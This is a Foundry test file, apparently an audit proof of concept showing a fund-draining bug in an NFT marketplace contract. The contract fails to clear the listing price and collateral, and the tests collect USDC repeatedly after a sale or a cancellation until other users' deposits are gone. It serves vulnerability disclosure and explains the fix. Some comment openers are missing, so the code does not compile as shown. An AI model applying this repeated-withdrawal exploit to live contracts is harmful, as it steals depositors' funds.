pragma solidity 0.8.34;
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
* @title PoC_H1_DrainPoC
* @notice Proof of Concept: H-1 — collectUsdcFromSelling missing state invalidation
*
* ROOT CAUSE (single, shared by both paths):
* collectUsdcFromSelling() transfers (listing.price - fees + collateralForMinting[tokenId])
* to the seller but NEVER zeroes listing.price, NEVER zeroes collateralForMinting[tokenId],
* and sets NO "already collected" flag.
* cancelListing() also fails to zero listing.price when it deactivates a listing.
*
* ┌─────────────────────────────────────────────────────────────────────────────┐
* │ PATH A — Post-Sale Drain │
* │ Trigger : buy() sets isActive=false → seller calls collectUsdcFromSelling │
* │ Per call : listing.price - fees + lockAmount (1,010 USDC at 1,000 listing) │
* │ Requires : enough USDC in contract from other minters (≥50 victims) │
* │ │
* │ PATH B — Post-Cancel Drain (NO BUYER REQUIRED) │
* │ Trigger : cancelListing() sets isActive=false, does NOT zero listing.price │
* │ Per call : listing.price - fees (990 USDC at 1,000 listing price) │
* │ Requires : enough USDC in contract from other minters (≥50 victims) │
* └─────────────────────────────────────────────────────────────────────────────┘
*
* MATH (both paths, 51 victims × 20 USDC lockAmount = 1,020 USDC pool):
*
* Path A: 51 victims + attacker minted → 52 × 20 = 1,040 USDC in contract
* buyer pays 1,000 USDC → 2,040 USDC in contract
* 1st collect (legitimate) → −1,010 USDC → 1,030 USDC remains
* 2nd collect (illegitimate ✗) → −1,010 USDC → 20 USDC remains ← STOLEN
* 3rd collect attempt → reverts (insufficient balance)
*
* Path B: 51 victims + attacker minted → 1,040 USDC in contract
* cancel returns lockAmount → −20 USDC → 1,020 USDC remains
* 1st collect after cancel (✗) → −990 USDC → 30 USDC remains ← STOLEN
* 2nd collect attempt → reverts (insufficient balance)
*
* NOTE ON LISTING KEY:
* list() stores at s_listings[_tokenId] but emits listingsCounter as listingId.
* All functions in this PoC use tokenId as the parameter (matching storage key)
* to isolate H-1 from the separate key-mismatch bug (H-3).
*/
contract PoC_H1_DrainPoC is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE =
"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
address public buyer = makeAddr("buyer");
uint256 public constant LOCK_AMOUNT = 20e6;
uint32 public constant LISTING_PRICE = 1000e6;
uint256 public constant NUM_VICTIMS = 51;
uint256 public constant EXPECTED_FEES = (uint256(LISTING_PRICE) * 100) / 10_000;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(
owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT
);
vm.prank(owner);
nftDealers.revealCollection();
}
function _mintAs(address user) internal returns (uint256 tokenId) {
vm.prank(owner);
nftDealers.whitelistWallet(user);
usdc.mint(user, LOCK_AMOUNT);
vm.startPrank(user);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
tokenId = nftDealers.totalMinted();
}
* @dev Create NUM_VICTIMS minters so the contract holds a large USDC pool
* that the attacker can drain. Victims only mint — they never list.
*/
function _fundContractWithVictims() internal {
for (uint256 i = 1; i <= NUM_VICTIMS; i++) {
address v = makeAddr(string.concat("victim", vm.toString(i)));
_mintAs(v);
}
assertEq(
usdc.balanceOf(address(nftDealers)),
NUM_VICTIMS * LOCK_AMOUNT,
"Setup: victim collateral pool incorrect"
);
}
* @notice Attacker collects legitimate sale proceeds, then calls
* collectUsdcFromSelling() a SECOND time and receives an identical
* payout — stealing victim collateral with no additional cost.
*
* Expected (correct) behaviour : 2nd call reverts with "Already collected"
* Actual behaviour : 2nd call transfers 1,010 USDC to attacker
*/
function testPoC_H1_PathA_PostSaleDrain() public {
_fundContractWithVictims();
uint256 attackerTokenId = _mintAs(attacker);
uint256 poolAfterMints = usdc.balanceOf(address(nftDealers));
assertEq(poolAfterMints, (NUM_VICTIMS + 1) * LOCK_AMOUNT);
console2.log("=== PATH A: POST-SALE DRAIN ===");
console2.log("[setup] Contract USDC after mints :", poolAfterMints / 1e6, "USDC");
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
usdc.mint(buyer, LISTING_PRICE);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), LISTING_PRICE);
nftDealers.buy(attackerTokenId);
vm.stopPrank();
uint256 poolAfterBuy = usdc.balanceOf(address(nftDealers));
console2.log("[1] Contract USDC after buy :", poolAfterBuy / 1e6, "USDC");
uint256 attackerBefore1 = usdc.balanceOf(attacker);
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
uint256 attackerAfter1 = usdc.balanceOf(attacker);
uint256 payout1 = attackerAfter1 - attackerBefore1;
console2.log("[2] 1st collect payout :", payout1 / 1e6, "USDC <-- legitimate");
console2.log(" Contract USDC after 1st :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
assertEq(
payout1,
uint256(LISTING_PRICE) - EXPECTED_FEES + LOCK_AMOUNT,
"1st collect: wrong payout"
);
(, uint32 priceStored,, uint256 storedTokenId,) = nftDealers.s_listings(attackerTokenId);
uint256 collateralStored = nftDealers.collateralForMinting(storedTokenId);
console2.log("[3] listing.price in storage :", uint256(priceStored) / 1e6, "USDC <-- should be 0");
console2.log(" collateralForMinting stored :", collateralStored / 1e6, "USDC <-- should be 0");
assertEq(uint256(priceStored), uint256(LISTING_PRICE), "BUG: listing.price not cleared after collect");
assertEq(collateralStored, LOCK_AMOUNT, "BUG: collateralForMinting not cleared after collect");
uint256 attackerBefore2 = usdc.balanceOf(attacker);
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
uint256 attackerAfter2 = usdc.balanceOf(attacker);
uint256 payout2 = attackerAfter2 - attackerBefore2;
console2.log("[4] 2nd collect payout :", payout2 / 1e6, "USDC <-- STOLEN from victims");
console2.log(" Contract USDC remaining :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
assertEq(payout2, payout1,
"CRITICAL: 2nd collect returned identical payout -- victim funds stolen");
assertGt(attackerAfter2, uint256(LISTING_PRICE) + LOCK_AMOUNT,
"CRITICAL: attacker extracted more than their total legitimate entitlement");
uint256 victimLoss = payout2;
console2.log("[5] Total victim loss :", victimLoss / 1e6, "USDC");
console2.log(" Attacker net profit :",
(attackerAfter2 - 0) / 1e6,
"USDC (minted for free after lockAmount recovered in payout1)");
}
* @notice Attacker mints, lists, then CANCELS — recovering their lockAmount.
* They then call collectUsdcFromSelling() on the cancelled listing.
* Because cancelListing() zeros collateralForMinting but NOT listing.price,
* the function pays out listing.price - fees from other users' collateral
* with ZERO buyer having ever paid into the contract.
*
* Expected (correct) behaviour : collectUsdcFromSelling on a cancelled listing reverts
* Actual behaviour : transfers 990 USDC stolen from victim pool
*/
function testPoC_H1_PathB_PostCancelDrain() public {
_fundContractWithVictims();
uint256 attackerTokenId = _mintAs(attacker);
uint256 poolBeforeCancel = usdc.balanceOf(address(nftDealers));
console2.log("\n=== PATH B: POST-CANCEL DRAIN ===");
console2.log("[setup] Contract USDC (victim pool) :", poolBeforeCancel / 1e6, "USDC");
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
vm.prank(attacker);
nftDealers.cancelListing(attackerTokenId);
uint256 attackerAfterCancel = usdc.balanceOf(attacker);
uint256 poolAfterCancel = usdc.balanceOf(address(nftDealers));
console2.log("[1] Attacker USDC after cancel :", attackerAfterCancel / 1e6, "USDC (lockAmount recovered)");
console2.log(" Contract USDC after cancel :", poolAfterCancel / 1e6, "USDC (pure victim collateral)");
(
address sellerStored,
uint32 priceStored,
,
uint256 tokenIdStored,
bool isActiveStored
) = nftDealers.s_listings(attackerTokenId);
uint256 collateralStored = nftDealers.collateralForMinting(tokenIdStored);
assertEq(sellerStored, attacker, "seller still recorded");
assertFalse(isActiveStored, "isActive correctly false after cancel");
assertEq(collateralStored, 0, "collateralForMinting correctly zeroed by cancel");
assertEq(uint256(priceStored), uint256(LISTING_PRICE),
"BUG: listing.price NOT zeroed by cancelListing()");
console2.log("[2] isActive after cancel : false (correct)");
console2.log(" collateralForMinting : 0 (correct)");
console2.log(" listing.price :",
uint256(priceStored) / 1e6, "USDC <-- BUG: should be 0");
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
uint256 attackerAfterCollect = usdc.balanceOf(attacker);
uint256 poolAfterCollect = usdc.balanceOf(address(nftDealers));
uint256 stolen = attackerAfterCollect - attackerAfterCancel;
console2.log("[3] Attacker USDC after collect :", attackerAfterCollect / 1e6, "USDC");
console2.log(" Stolen from victim pool :", stolen / 1e6, "USDC");
console2.log(" Contract USDC remaining :", poolAfterCollect / 1e6, "USDC");
assertGt(stolen, 0,
"CRITICAL: collect after cancel transferred USDC to attacker");
assertEq(
stolen,
uint256(LISTING_PRICE) - EXPECTED_FEES,
"CRITICAL: stolen amount equals listing.price - fees, sourced entirely from victim pool"
);
assertGt(
attackerAfterCollect,
attackerAfterCancel,
"CRITICAL: net profit from victim pool despite no buyer"
);
console2.log("[4] Attacker net profit (on top of lockAmount recovery):",
stolen / 1e6, "USDC with zero buyer interaction");
}
* @notice Demonstrates that both paths are independent expressions of the
* same root cause and that fixing only one leaves the other open.
*
* A single fix — zeroing listing.price (and collateralForMinting)
* inside collectUsdcFromSelling — closes BOTH paths simultaneously.
*
* Attack sequence:
* Phase 1 (Path B): drain victim pool via cancel path (no buyer)
* Phase 2 (Path A): sell legitimately, then drain remaining balance
*
* The attacker NEVER loses net capital: every lockAmount paid is recovered.
*/
function testPoC_H1_MaximumDrain_Combined() public {
_fundContractWithVictims();
uint256 attackerTokenId = _mintAs(attacker);
uint256 initialVictimPool = usdc.balanceOf(address(nftDealers));
console2.log("\n=== COMBINED DRAIN: PATH B -> PATH A ===");
console2.log("[0] Victim pool (incl. attacker mint):", initialVictimPool / 1e6, "USDC");
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
vm.prank(attacker);
nftDealers.cancelListing(attackerTokenId);
uint256 phase1Calls;
while (usdc.balanceOf(address(nftDealers)) >= uint256(LISTING_PRICE)) {
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
phase1Calls++;
}
console2.log("[1] Phase 1 (cancel path) drain calls:", phase1Calls);
console2.log(" Contract after Phase 1 :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
console2.log(" Attacker after Phase 1 :", usdc.balanceOf(attacker) / 1e6, "USDC");
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
usdc.mint(buyer, LISTING_PRICE);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), LISTING_PRICE);
nftDealers.buy(attackerTokenId);
vm.stopPrank();
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
uint256 phase2Calls;
while (usdc.balanceOf(address(nftDealers)) >= uint256(LISTING_PRICE) + LOCK_AMOUNT) {
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
phase2Calls++;
}
console2.log("[2] Phase 2 (post-sale) drain calls :", phase2Calls);
console2.log(" Final contract balance :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
console2.log(" Final attacker balance :", usdc.balanceOf(attacker) / 1e6, "USDC");
assertGt(
usdc.balanceOf(attacker),
initialVictimPool - LOCK_AMOUNT,
"CRITICAL: attacker drained more than all victim deposits combined"
);
}
}